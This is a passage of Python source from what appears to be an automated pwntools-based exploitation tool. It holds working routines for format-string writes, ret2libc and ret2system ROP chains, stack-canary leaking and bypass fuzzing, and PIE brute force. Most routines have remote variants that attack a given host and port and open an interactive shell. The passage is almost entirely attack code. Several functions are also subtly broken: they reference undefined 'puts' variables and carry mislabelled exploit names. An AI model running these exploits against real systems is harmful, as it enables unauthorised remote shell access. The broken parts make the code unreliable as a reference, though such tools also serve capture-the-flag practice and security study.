"DETECTED" if result != "SAFE" else "NONE"], colors) 1100 | 1101 | except subprocess.TimeoutExpired: 1102 | colors = [Colors.END, Colors.END, Colors.WARNING] 1103 | print_table_row([case.decode()[:20], "TIMEOUT", "POSSIBLE"], colors) 1104 | vulnerable = True 1105 | except Exception as e: 1106 | colors = [Colors.END, Colors.END, Colors.ERROR] 1107 | print_table_row([case.decode()[:20], "ERROR", "UNKNOWN"], colors) 1108 | 1109 | print() 1110 | 1111 | if vulnerable: 1112 | print_success("format string vulnerability detected!") 1113 | return True 1114 | else: 1115 | print_warning("no format string vulnerability detected") 1116 | return False 1117 | 1118 | def find_ftmstr_bss_symbols(program): 1119 | """Find format string BSS symbols""" 1120 | function = 0 1121 | with open(program, 'rb') as f: 1122 | elf = ELFFile(f) 1123 | symtab = elf.get_section_by_name('.symtab') 1124 | if not symtab: 1125 | print_warning("Did not find the variable used in the if-condition") 1126 | return function 1127 | for symbol in symtab.iter_symbols(): 1128 | if (symbol['st_info'].type == 'STT_OBJECT' and 1129 | symbol['st_size'] > 2 and 1130 | '_' not in symbol.name): 1131 | print_success(f"Found the variable used in the if-condition: {symbol.name}, address: {hex(symbol['st_value'])}") 1132 | function = 1 1133 | buf_addr = hex(symbol['st_value']) 1134 | function_name = symbol.name 1135 | 1136 | return function, buf_addr, function_name 1137 | 1138 | def find_offset(program): 1139 | """Find format string offset""" 1140 | print_info("searching for format string offset") 1141 | 1142 | p = process(program) 1143 | payload = b'AAAA' + b'.%x' * 40 # Payload to leak stack values 1144 | print_payload(f"testing payload: {payload[:20]}...") 1145 | 1146 | p.sendline(payload) 1147 | try: 1148 | output = p.recv(timeout=2) # Receive output from the program 1149 | except: 1150 | output = p.clean() # If timeout, clean buffer 1151 | 1152 | parts = output.split(b'.') # Split output by '.' 1153 | for i in range(1, len(parts)): 1154 | # Extract first word before space or newline after each '.' 1155 | part = parts[i].split(b'\n')[0].split()[0] if b' ' in parts[i] else parts[i] 1156 | try: 1157 | val = int(part, 16) # Convert hex string to int 1158 | if val == 0x41414141: # Check for 'AAAA' in hex 1159 | p.close() 1160 | print_success(f"format string offset found: {i}") 1161 | return i # Return the offset where 'AAAA' appears 1162 | except: 1163 | continue 1164 | p.close() 1165 | print_error("offset not found") 1166 | raise ValueError('[-]Offset not found') # Raise if not found 1167 | 1168 | def system_fmtstr(program, offset, buf_addr): 1169 | """Format string exploitation (local)""" 1170 | print_section_header("EXPLOITATION: Format String - Local") 1171 | print_payload("preparing format string exploit") 1172 | 1173 | io = process(program) 1174 | elf = ELF(program) 1175 | buf_addr = int(buf_addr, 16) 1176 | buf_addr = p32(buf_addr) 1177 | system_addr = buf_addr 1178 | offset_bytes = str(offset).encode() 1179 | 1180 | payload = system_addr + b'%' + offset_bytes + b'$n' 1181 | print_payload(f"payload: {payload}") 1182 | 1183 | io.sendline(payload) 1184 | 1185 | # Handle successful exploitation 1186 | handle_exploitation_success( 1187 | 'Format String - Local', 1188 | payload, 1189 | 0, # No padding for format string 1190 | { 1191 | 'buf_addr': hex(int(buf_addr.hex(), 16)), 1192 | 'system_addr': hex(int(system_addr.hex(), 16)), 1193 | 'offset': str(offset) 1194 | }, 1195 | 'Format String Vulnerability', 1196 | 'x32' 1197 | ) 1198 | 1199 | io.interactive() 1200 | 1201 | def ret2libc_write_x64(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, libc_path): 1202 | """ret2libc exploitation using write function (x64)""" 1203 | print_section_header("EXPLOITATION: ret2libc (write) - x64") 1204 | print_payload("preparing ret2libc exploit using write function") 1205 | 1206 | io = process(program) 1207 | 1208 | if libc == 1: 1209 | if libc_path is None: 1210 | print_info("using LibcSearcher for libc resolution") 1211 | else: 1212 | print_info(f"using detected libc: {libc_path}") 1213 | libc = ELF(libc_path) 1214 | else: 1215 | libc = ELF(libc) 1216 | 1217 | e = ELF(program) 1218 | main_addr = e.symbols['main'] 1219 | write_plt = e.symbols['write'] 1220 | write_got = e.got['write'] 1221 | 1222 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 1223 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") 1224 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") 1225 | 1226 | pop_rdi_addr = int(pop_rdi_addr, 16) 1227 | pop_rsi_addr = int(pop_rsi_addr, 16) 1228 | ret_addr = int(ret_addr, 16) 1229 | 1230 | # Stage 1: Leak write address 1231 | print_payload("stage 1: leaking write address from GOT") 1232 | if other_rsi_registers == 1: 1233 | payload1 = flat([ 1234 | asm('nop') * padding, 1235 | p64(pop_rdi_addr), 1236 | p64(1), 1237 | p64(pop_rsi_addr), 1238 | p64(write_got), 1239 | p64(0), 1240 | p64(write_plt), 1241 | p64(main_addr) 1242 | ]) 1243 | elif other_rdi_registers == 1: 1244 | payload1 = flat([ 1245 | asm('nop') * padding, 1246 | p64(pop_rdi_addr), 1247 | p64(1), 1248 | p64(0), 1249 | p64(pop_rsi_addr), 1250 | p64(write_got), 1251 | p64(write_plt), 1252 | p64(main_addr) 1253 | ]) 1254 | elif other_rdi_registers == 0 and other_rsi_registers == 0: 1255 | payload1 = flat([ 1256 | asm('nop') * padding, 1257 | p64(pop_rdi_addr), 1258 | p64(1), 1259 | p64(pop_rsi_addr), 1260 | p64(write_got), 1261 | p64(write_plt), 1262 | p64(main_addr) 1263 | ]) 1264 | 1265 | io.recv() 1266 | io.sendline(payload1) 1267 | 1268 | write_addr = u64(io.recv(8)) 1269 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") 1270 | 1271 | # Calculate system and /bin/sh addresses 1272 | if libc == 1: 1273 | libc = LibcSearcher("write", write_addr) 1274 | libcbase = write_addr - libc.dump('write') 1275 | system_addr = libcbase + libc.dump('system') 1276 | sh_addr = libcbase + libc.dump('str_bin_sh') 1277 | else: 1278 | libc_write = libc.symbols['write'] 1279 | system_addr = write_addr - libc_write + libc.symbols['system'] 1280 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) 1281 | 1282 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1283 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 1284 | 1285 | # Stage 2: Execute system("/bin/sh") 1286 | print_payload("stage 2: executing system('/bin/sh')") 1287 | 1288 | if other_rdi_registers == 1: 1289 | payload2 = flat([ 1290 | asm('nop') * padding, 1291 | p64(pop_rdi_addr), 1292 | p64(sh_addr), 1293 | p64(0), 1294 | p64(system_addr), 1295 | p64(0) 1296 | ]) 1297 | else: 1298 | payload2 = flat([ 1299 | asm('nop') * padding, 1300 | p64(pop_rdi_addr), 1301 | p64(sh_addr), 1302 | p64(system_addr), 1303 | p64(0) 1304 | ]) 1305 | 1306 | io.recv() 1307 | 1308 | io.sendline(payload2) 1309 | 1310 | # Handle successful exploitation 1311 | handle_exploitation_success( 1312 | 'ret2libc (write) - x64', 1313 | payload2, 1314 | padding, 1315 | { 1316 | 'pop_rdi': hex(pop_rdi_addr), 1317 | 'pop_rsi': hex(pop_rsi_addr), 1318 | 'ret': hex(ret_addr), 1319 | 'write_plt': hex(write_plt), 1320 | 'write_got': hex(write_got), 1321 | 'main': hex(main_addr), 1322 | 'system': hex(system_addr), 1323 | 'sh': hex(sh_addr) 1324 | }, 1325 | 'Stack Buffer Overflow', 1326 | 'x64' 1327 | ) 1328 | 1329 | io.interactive() 1330 | 1331 | def ret2libc_write_x32_remote(program, libc, padding, url, port): 1332 | """ret2libc exploitation using write function (x32 remote)""" 1333 | print_section_header("EXPLOITATION: ret2libc (write) - x32 Remote") 1334 | print_payload("preparing ret2libc exploit using write function") 1335 | 1336 | io = remote(url, port) 1337 | 1338 | if libc == 1: 1339 | print_info("using LibcSearcher for libc resolution") 1340 | else: 1341 | libc = ELF(libc) 1342 | 1343 | e = ELF(program) 1344 | main_addr = e.symbols['main'] 1345 | write_plt = e.symbols['write'] 1346 | write_got = e.got['write'] 1347 | 1348 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 1349 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") 1350 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") 1351 | 1352 | # Stage 1: Leak write address 1353 | print_payload("stage 1: leaking write address from GOT") 1354 | payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 1355 | 1356 | io.recv() 1357 | io.sendline(payload1) 1358 | 1359 | write_addr = u32(io.recv(4)) 1360 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") 1361 | 1362 | # Calculate system and /bin/sh addresses 1363 | if libc == 1: 1364 | libc = LibcSearcher("write", write_addr) 1365 | libcbase = write_addr - libc.dump('write') 1366 | system_addr = libcbase + libc.dump('system') 1367 | sh_addr = libcbase + libc.dump('str_bin_sh') 1368 | else: 1369 | libc_write = libc.symbols['write'] 1370 | system_addr = write_addr - libc_write + libc.symbols['system'] 1371 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) 1372 | 1373 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1374 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 1375 | 1376 | # Stage 2: Execute system("/bin/sh") 1377 | print_payload("stage 2: executing system('/bin/sh')") 1378 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) 1379 | 1380 | io.recv() 1381 | io.sendline(payload2) 1382 | 1383 | # Handle successful exploitation 1384 | handle_exploitation_success( 1385 | 'ret2libc (puts) - x64', 1386 | payload2, 1387 | padding, 1388 | { 1389 | 'pop_rdi': hex(int(pop_rdi_addr.hex(), 16)), 1390 | 'ret': hex(int(ret_addr.hex(), 16)), 1391 | 'puts_plt': hex(puts_plt), 1392 | 'puts_got': hex(puts_got), 1393 | 'main': hex(main_addr), 1394 | 'puts_addr': hex(puts_addr), 1395 | 'system': hex(system_addr), 1396 | 'sh': hex(sh_addr) 1397 | }, 1398 | 'Stack Buffer Overflow', 1399 | 'x64' 1400 | ) 1401 | 1402 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1403 | io.interactive() 1404 | 1405 | def ret2libc_write_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port): 1406 | """ret2libc exploitation using write function (x64 remote)""" 1407 | print_section_header("EXPLOITATION: ret2libc (write) - x64 Remote") 1408 | print_payload("preparing ret2libc exploit using write function") 1409 | 1410 | io = remote(url, port) 1411 | 1412 | if libc == 1: 1413 | print_info("using LibcSearcher for libc resolution") 1414 | else: 1415 | libc = ELF(libc) 1416 | 1417 | e = ELF(program) 1418 | main_addr = e.symbols['main'] 1419 | write_plt = e.symbols['write'] 1420 | write_got = e.got['write'] 1421 | 1422 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 1423 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") 1424 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") 1425 | 1426 | pop_rdi_addr = int(pop_rdi_addr, 16) 1427 | pop_rsi_addr = int(pop_rsi_addr, 16) 1428 | ret_addr = int(ret_addr, 16) 1429 | 1430 | # Stage 1: Leak write address 1431 | print_payload("stage 1: leaking write address from GOT") 1432 | if other_rsi_registers == 1: 1433 | payload1 = flat([ 1434 | asm('nop') * padding, 1435 | p64(pop_rdi_addr), 1436 | p64(1), 1437 | p64(pop_rsi_addr), 1438 | p64(write_got), 1439 | p64(0), 1440 | p64(write_plt), 1441 | p64(main_addr) 1442 | ]) 1443 | elif other_rdi_registers == 1: 1444 | payload1 = flat([ 1445 | asm('nop') * padding, 1446 | p64(pop_rdi_addr), 1447 | p64(1), 1448 | p64(0), 1449 | p64(pop_rsi_addr), 1450 | p64(write_got), 1451 | p64(write_plt), 1452 | p64(main_addr) 1453 | ]) 1454 | elif other_rdi_registers == 0 and other_rsi_registers == 0: 1455 | payload1 = flat([ 1456 | asm('nop') * padding, 1457 | p64(pop_rdi_addr), 1458 | p64(1), 1459 | p64(pop_rsi_addr), 1460 | p64(write_got), 1461 | p64(write_plt), 1462 | p64(main_addr) 1463 | ]) 1464 | 1465 | io.recv() 1466 | io.sendline(payload1) 1467 | 1468 | write_addr = u64(io.recv(8)) 1469 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") 1470 | 1471 | # Calculate system and /bin/sh addresses 1472 | if libc == 1: 1473 | libc = LibcSearcher("write", write_addr) 1474 | libcbase = write_addr - libc.dump('write') 1475 | system_addr = libcbase + libc.dump('system') 1476 | sh_addr = libcbase + libc.dump('str_bin_sh') 1477 | else: 1478 | libc_write = libc.symbols['write'] 1479 | system_addr = write_addr - libc_write + libc.symbols['system'] 1480 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) 1481 | 1482 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1483 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 1484 | 1485 | # Stage 2: Execute system("/bin/sh") 1486 | print_payload("stage 2: executing system('/bin/sh')") 1487 | io.recv() 1488 | 1489 | if other_rdi_registers == 1: 1490 | payload2 = flat([ 1491 | asm('nop') * padding, 1492 | p64(pop_rdi_addr), 1493 | p64(sh_addr), 1494 | p64(0), 1495 | p64(ret_addr), 1496 | p64(system_addr) 1497 | ]) 1498 | else: 1499 | payload2 = flat([ 1500 | asm('nop') * padding, 1501 | p64(pop_rdi_addr), 1502 | p64(sh_addr), 1503 | p64(ret_addr), 1504 | p64(system_addr) 1505 | ]) 1506 | 1507 | io.sendline(payload2) 1508 | 1509 | # Handle successful exploitation 1510 | handle_exploitation_success( 1511 | 'ret2libc (puts) - x64', 1512 | payload2, 1513 | padding, 1514 | { 1515 | 'puts_plt': hex(puts_plt), 1516 | 'puts_got': hex(puts_got), 1517 | 'main': hex(main_addr), 1518 | 'puts_addr': hex(puts_addr), 1519 | 'system': hex(system_addr), 1520 | 'sh': hex(sh_addr) 1521 | }, 1522 | 'Stack Buffer Overflow', 1523 | 'x64' 1524 | ) 1525 | 1526 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1527 | io.interactive() 1528 | 1529 | def system_fmtstr_remote(program, offset, buf_addr, url, port): 1530 | """Format string exploitation (remote)""" 1531 | print_section_header("EXPLOITATION: Format String - Remote") 1532 | print_payload("preparing format string exploit") 1533 | 1534 | io = remote(url, port) 1535 | elf = ELF(program) 1536 | buf_addr = int(buf_addr, 16) 1537 | buf_addr = p64(buf_addr) 1538 | system_addr = buf_addr 1539 | offset_bytes = str(offset).encode() 1540 | 1541 | payload = system_addr + b'%' + offset_bytes + b'$n' 1542 | print_payload(f"payload: {payload}") 1543 | 1544 | io.sendline(payload) 1545 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1546 | io.interactive() 1547 | 1548 | def fmtstr_print_strings(program): 1549 | """Print strings using format string (local)""" 1550 | print_section_header("FORMAT STRING LEAK - Local") 1551 | print_info("leaking program strings using format string") 1552 | elf = context.binary = ELF(program, checksec=False) 1553 | 1554 | for i in range(100): 1555 | try: 1556 | io = process(program, level='error') 1557 | io.sendline('%{}$s'.format(i).encode()) 1558 | result = io.recv() 1559 | if result and len(result.strip()) > 0: 1560 | print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}") 1561 | io.close() 1562 | except EOFError: 1563 | pass 1564 | 1565 | def fmtstr_print_strings_remote(program, url, port): 1566 | """Print strings using format string (remote)""" 1567 | print_section_header("FORMAT STRING LEAK - Remote") 1568 | print_info(f"leaking program strings from {url}:{port}") 1569 | elf = context.binary = ELF(program, checksec=False) 1570 | 1571 | for i in range(100): 1572 | try: 1573 | io = remote(url, port) 1574 | io.sendline('%{}$s'.format(i).encode()) 1575 | result = io.recv() 1576 | if result and len(result.strip()) > 0: 1577 | print_info(f"offset {i}: {Colors.YELLOW}{result}{Colors.END}") 1578 | io.close() 1579 | except EOFError: 1580 | pass 1581 | 1582 | def leakage_canary_value(program): 1583 | """Leak canary values using format string""" 1584 | print_info("leaking canary values") 1585 | elf = context.binary = ELF(program, checksec=False) 1586 | with open('canary.txt', 'w') as f: 1587 | for i in range(100): 1588 | try: 1589 | with process(program) as p: 1590 | p.sendline(f'%{i}$p'.encode()) 1591 | p.recvline() 1592 | result = p.recvline().decode().strip() 1593 | if result: 1594 | line = f"{result}\n" 1595 | f.write(line) 1596 | except EOFError: 1597 | pass 1598 | 1599 | def canary_fuzz(program, bit): 1600 | """Fuzz for canary bypass""" 1601 | print_section_header("CANARY BYPASS FUZZING") 1602 | print_info("fuzzing for canary bypass") 1603 | 1604 | if bit == 64: 1605 | char = 'A' 1606 | test = 'AAAAAAAA' 1607 | with open('canary.txt', 'r') as f: 1608 | lines = [line.strip() for line in f.readlines()[1:]] 1609 | 1610 | c = 1 1611 | i = 1 1612 | max_c = 300 1613 | max_i = len(lines) 1614 | 1615 | print_info(f"testing {max_i} canary values with {max_c} parameters") 1616 | 1617 | while c < max_c and i < max_i: 1618 | current_line = lines[i] 1619 | found_j = False 1620 | exit_current = False 1621 | for j in range(i + 1, max_i): 1622 | if lines[j].startswith('0x8'): 1623 | diff = j - i 1624 | padding = 0 1625 | found_j = True 1626 | 1627 | print_info(f"testing parameter c={c}, diff={diff}") 1628 | 1629 | while padding <= 300: 1630 | io = process(program) 1631 | io.recv() 1632 | io.sendline(f'%{c}$p'.encode()) 1633 | result = io.recvline().decode().strip() 1634 | 1635 | if result.startswith('0x'): 1636 | result = int(result, 16) 1637 | result = p64(result) 1638 | 1639 | input_data = flat([char * (padding + 1), result, test * diff]) 1640 | io.recv() 1641 | io.sendline(input_data) 1642 | io.wait() 1643 | 1644 | if io.poll() == -11: 1645 | padding = padding + 1 1646 | print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}") 1647 | return padding, c, diff 1648 | 1649 | io.close() 1650 | padding += 1 1651 | 1652 | if padding > 300: 1653 | print_warning(f"parameter c={c} test failed, trying next parameter") 1654 | c += 1 1655 | i += 1 1656 | exit_current = True 1657 | break 1658 | break 1659 | 1660 | if exit_current: 1661 | break 1662 | 1663 | if exit_current: 1664 | continue 1665 | 1666 | if not found_j: 1667 | i += 1 1668 | if i >= max_i: 1669 | c += 1 1670 | i = 0 1671 | 1672 | print_critical("All parameters tested, no valid offset found") 1673 | padding = None 1674 | return padding, None, None 1675 | 1676 | # Similar logic for 32-bit 1677 | if bit == 32: 1678 | char = 'A' 1679 | test = 'AAAA' 1680 | with open('canary.txt', 'r') as f: 1681 | lines = [line.strip() for line in f.readlines()[1:]] 1682 | 1683 | c = 1 1684 | i = 1 1685 | max_c = 300 1686 | max_i = len(lines) 1687 | 1688 | while c < max_c and i < max_i: 1689 | current_line = lines[i] 1690 | found_j = False 1691 | exit_current = False 1692 | for j in range(i + 1, max_i): 1693 | if lines[j].startswith('0x8'): 1694 | diff = j - i 1695 | padding = 0 1696 | found_j = True 1697 | 1698 | while padding <= 300: 1699 | io = process(program) 1700 | io.recv() 1701 | io.sendline(f'%{c}$p'.encode()) 1702 | result = io.recvline().decode().strip() 1703 | print_info(f"Debug: c={c}, i={i}, padding={padding}, result={result}, diff={diff}") 1704 | 1705 | if result.startswith('0x'): 1706 | result = int(result, 16) 1707 | result = p32(result) 1708 | 1709 | input_data = flat([char * (padding + 1), result, test * diff]) 1710 | io.recv() 1711 | io.sendline(input_data) 1712 | io.wait() 1713 | 1714 | if io.poll() == -11: 1715 | padding = padding + 1 1716 | print_success(f"canary bypass found! c={c}, padding={padding}, diff={diff}") 1717 | return padding, c, diff 1718 | 1719 | io.close() 1720 | padding += 1 1721 | 1722 | if padding > 300: 1723 | print_warning(f"c={c} test failed, trying next parameter") 1724 | c += 1 1725 | i += 1 1726 | exit_current = True 1727 | break 1728 | break 1729 | 1730 | if exit_current: 1731 | break 1732 | 1733 | if exit_current: 1734 | continue 1735 | 1736 | if not found_j: 1737 | i += 1 1738 | if i >= max_i: 1739 | c += 1 1740 | i = 0 1741 | 1742 | print_critical("All parameters tested, no valid offset found") 1743 | padding = None 1744 | return padding, None, None 1745 | 1746 | def pie_backdoor_exploit(program, padding, backdoor, libc_path, libc, callsystem): 1747 | """PIE backdoor exploitation (local)""" 1748 | print_section_header("EXPLOITATION: PIE Backdoor - Local") 1749 | print_payload("preparing PIE backdoor brute force") 1750 | 1751 | elf = ELF(program) 1752 | if backdoor == 1: 1753 | backdoor = elf.symbols["backdoor"] + 0x04 1754 | if callsystem == 1: 1755 | backdoor = elf.symbols["callsystem"] + 0x04 1756 | backdoor_bytes = p64(backdoor) 1757 | valid_bytes = backdoor_bytes.replace(b'\x00', b'') 1758 | valid_byte_length = len(valid_bytes) 1759 | 1760 | cleaned_bytes = backdoor_bytes[:valid_byte_length] 1761 | payload = asm("nop") * padding + cleaned_bytes 1762 | 1763 | count = 1 1764 | print_info("starting PIE brute force attack") 1765 | while True: 1766 | io = process(program) 1767 | try: 1768 | count += 1 1769 | print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]") 1770 | io.recv() 1771 | io.send(payload) 1772 | recv = io.recv(timeout=10) 1773 | except: 1774 | print_warning(f"attempt {count} failed", prefix="[BRUTE]") 1775 | else: 1776 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1777 | io.interactive() 1778 | break 1779 | 1780 | def pie_backdoor_exploit_remote(program, padding, backdoor, libc_path, libc, url, port, callsystem): 1781 | """PIE backdoor exploitation (remote)""" 1782 | print_section_header("EXPLOITATION: PIE Backdoor - Remote") 1783 | print_payload("preparing PIE backdoor brute force") 1784 | 1785 | elf = ELF(program) 1786 | if backdoor == 1: 1787 | backdoor = elf.symbols["backdoor"] + 0x04 1788 | if callsystem == 1: 1789 | backdoor = elf.symbols["callsystem"] + 0x04 1790 | 1791 | backdoor_bytes = p64(backdoor) 1792 | valid_bytes = backdoor_bytes.replace(b'\x00', b'') 1793 | valid_byte_length = len(valid_bytes) 1794 | 1795 | cleaned_bytes = backdoor_bytes[:valid_byte_length] 1796 | payload = asm("nop") * padding + cleaned_bytes 1797 | 1798 | count = 1 1799 | print_info(f"starting PIE brute force attack against {Colors.YELLOW}{url}:{port}{Colors.END}") 1800 | while True: 1801 | io = remote(url, port) 1802 | try: 1803 | count += 1 1804 | print_info(f"attempt {Colors.YELLOW}{count}{Colors.END}", prefix="[BRUTE]") 1805 | io.recv() 1806 | io.send(payload) 1807 | recv = io.recv(timeout=10) 1808 | except: 1809 | print_warning(f"attempt {count} failed", prefix="[BRUTE]") 1810 | else: 1811 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1812 | io.interactive() 1813 | break 1814 | 1815 | # Exploitation functions with improved output 1816 | def ret2libc_write_x32(program, libc, padding, libc_path): 1817 | """ret2libc exploitation using write function (x32)""" 1818 | print_section_header("EXPLOITATION: ret2libc (write) - x32") 1819 | print_payload("preparing ret2libc exploit using write function") 1820 | 1821 | io = process(program) 1822 | 1823 | if libc == 1: 1824 | if libc_path is None: 1825 | print_info("using LibcSearcher for libc resolution") 1826 | else: 1827 | print_info(f"using detected libc: {libc_path}") 1828 | libc = ELF(libc_path) 1829 | else: 1830 | libc = ELF(libc) 1831 | 1832 | e = ELF(program) 1833 | main_addr = e.symbols['main'] 1834 | write_plt = e.symbols['write'] 1835 | write_got = e.got['write'] 1836 | 1837 | print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") 1838 | print_info(f"write@plt: {Colors.YELLOW}{hex(write_plt)}{Colors.END}") 1839 | print_info(f"write@got: {Colors.YELLOW}{hex(write_got)}{Colors.END}") 1840 | 1841 | # Stage 1: Leak write address 1842 | print_payload("stage 1: leaking write address from GOT") 1843 | payload1 = asm('nop') * padding + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4) 1844 | 1845 | io.recv() 1846 | io.sendline(payload1) 1847 | 1848 | write_addr = u32(io.recv(4)) 1849 | print_success(f"write address leaked: {Colors.YELLOW}{hex(write_addr)}{Colors.END}") 1850 | 1851 | # Calculate system and /bin/sh addresses 1852 | if libc == 1: 1853 | libc = LibcSearcher("write", write_addr) 1854 | libcbase = write_addr - libc.dump('write') 1855 | system_addr = libcbase + libc.dump('system') 1856 | sh_addr = libcbase + libc.dump('str_bin_sh') 1857 | else: 1858 | libc_write = libc.symbols['write'] 1859 | system_addr = write_addr - libc_write + libc.symbols['system'] 1860 | sh_addr = write_addr - libc_write + next(libc.search(b'/bin/sh')) 1861 | 1862 | print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1863 | print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") 1864 | 1865 | # Stage 2: Execute system("/bin/sh") 1866 | print_payload("stage 2: executing system('/bin/sh')") 1867 | payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) 1868 | 1869 | io.recv() 1870 | io.sendline(payload2) 1871 | 1872 | # Handle successful exploitation 1873 | handle_exploitation_success( 1874 | 'ret2libc (puts) - x64 Remote', 1875 | payload2, 1876 | padding, 1877 | { 1878 | 'puts_plt': hex(puts_plt), 1879 | 'puts_got': hex(puts_got), 1880 | 'main': hex(main_addr), 1881 | 'puts_addr': hex(puts_addr), 1882 | 'system': hex(system_addr), 1883 | 'sh': hex(sh_addr) 1884 | }, 1885 | 'Stack Buffer Overflow', 1886 | 'x64' 1887 | ) 1888 | 1889 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1890 | io.interactive() 1891 | 1892 | def ret2_system_x32(program, libc, padding, libc_path): 1893 | """ret2system exploitation (x32)""" 1894 | print_section_header("EXPLOITATION: ret2system - x32") 1895 | print_payload("preparing ret2system exploit") 1896 | 1897 | io = process(program) 1898 | e = ELF(program) 1899 | system_addr = e.symbols['system'] 1900 | bin_sh_addr = next(e.search(b'/bin/sh')) 1901 | 1902 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1903 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 1904 | 1905 | payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr) 1906 | io.sendline(payload) 1907 | 1908 | handle_exploitation_success( 1909 | exploit_type='ret2system - x32', 1910 | payload=payload, 1911 | padding=padding, 1912 | addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr}, 1913 | vulnerability_type='Buffer Overflow', 1914 | architecture='x32' 1915 | ) 1916 | io.interactive() 1917 | 1918 | def ret2_system_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path): 1919 | """ret2system exploitation (x64)""" 1920 | print_section_header("EXPLOITATION: ret2system - x64") 1921 | print_payload("preparing ret2system exploit") 1922 | 1923 | if pop_rdi_addr == None: 1924 | print_error("pop rdi gadget not found, exploitation not possible") 1925 | sys.exit(0) 1926 | 1927 | io = process(program) 1928 | e = ELF(program) 1929 | system_addr = e.symbols['system'] 1930 | bin_sh_addr = next(e.search(b'/bin/sh')) 1931 | 1932 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1933 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 1934 | 1935 | pop_rdi_addr = int(pop_rdi_addr, 16) 1936 | pop_rdi_addr = p64(pop_rdi_addr) 1937 | ret_addr = int(ret_addr, 16) 1938 | ret_addr = p64(ret_addr) 1939 | 1940 | if other_rdi_registers == 1: 1941 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), p64(0), ret_addr, p64(system_addr), p64(0)]) 1942 | elif other_rdi_registers == 0: 1943 | payload = flat([asm('nop') * padding, pop_rdi_addr, p64(bin_sh_addr), ret_addr, p64(system_addr)]) 1944 | 1945 | io.sendline(payload) 1946 | 1947 | handle_exploitation_success( 1948 | exploit_type='ret2system - x64', 1949 | payload=payload, 1950 | padding=padding, 1951 | addresses={'system_addr': system_addr, 'bin_sh_addr': bin_sh_addr, 'pop_rdi_addr': pop_rdi_addr, 'ret_addr': ret_addr}, 1952 | vulnerability_type='Buffer Overflow', 1953 | architecture='x64' 1954 | ) 1955 | io.interactive() 1956 | 1957 | def ret2_system_x32_remote(program, libc, padding, url, port): 1958 | """ret2system exploitation (x32 remote)""" 1959 | print_section_header("EXPLOITATION: ret2system - x32 Remote") 1960 | print_payload("preparing ret2system exploit") 1961 | 1962 | io = remote(url, port) 1963 | e = ELF(program) 1964 | system_addr = e.symbols['system'] 1965 | bin_sh_addr = next(e.search(b'/bin/sh')) 1966 | 1967 | print_info(f"system address: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") 1968 | print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") 1969 | 1970 | payload = asm('nop') * padding + p32(system_addr) + p32(0) + p32(bin_sh_addr) 1971 | io.sendline(payload) 1972 | print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") 1973 | io.interactive() 1974 | 1975 | def ret2_system_x64_remote(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, url, port): 1976 | """ret2system exploitation (x64 remote)""" 1977 | print_section_header("EXPLOITATION: ret2system - x64 Remote") 1978 | print_payload("preparing ret2system exploit") 1979 | 1980 | if pop_rdi_addr == None: 1981 | print_error("pop rdi gadget not found, 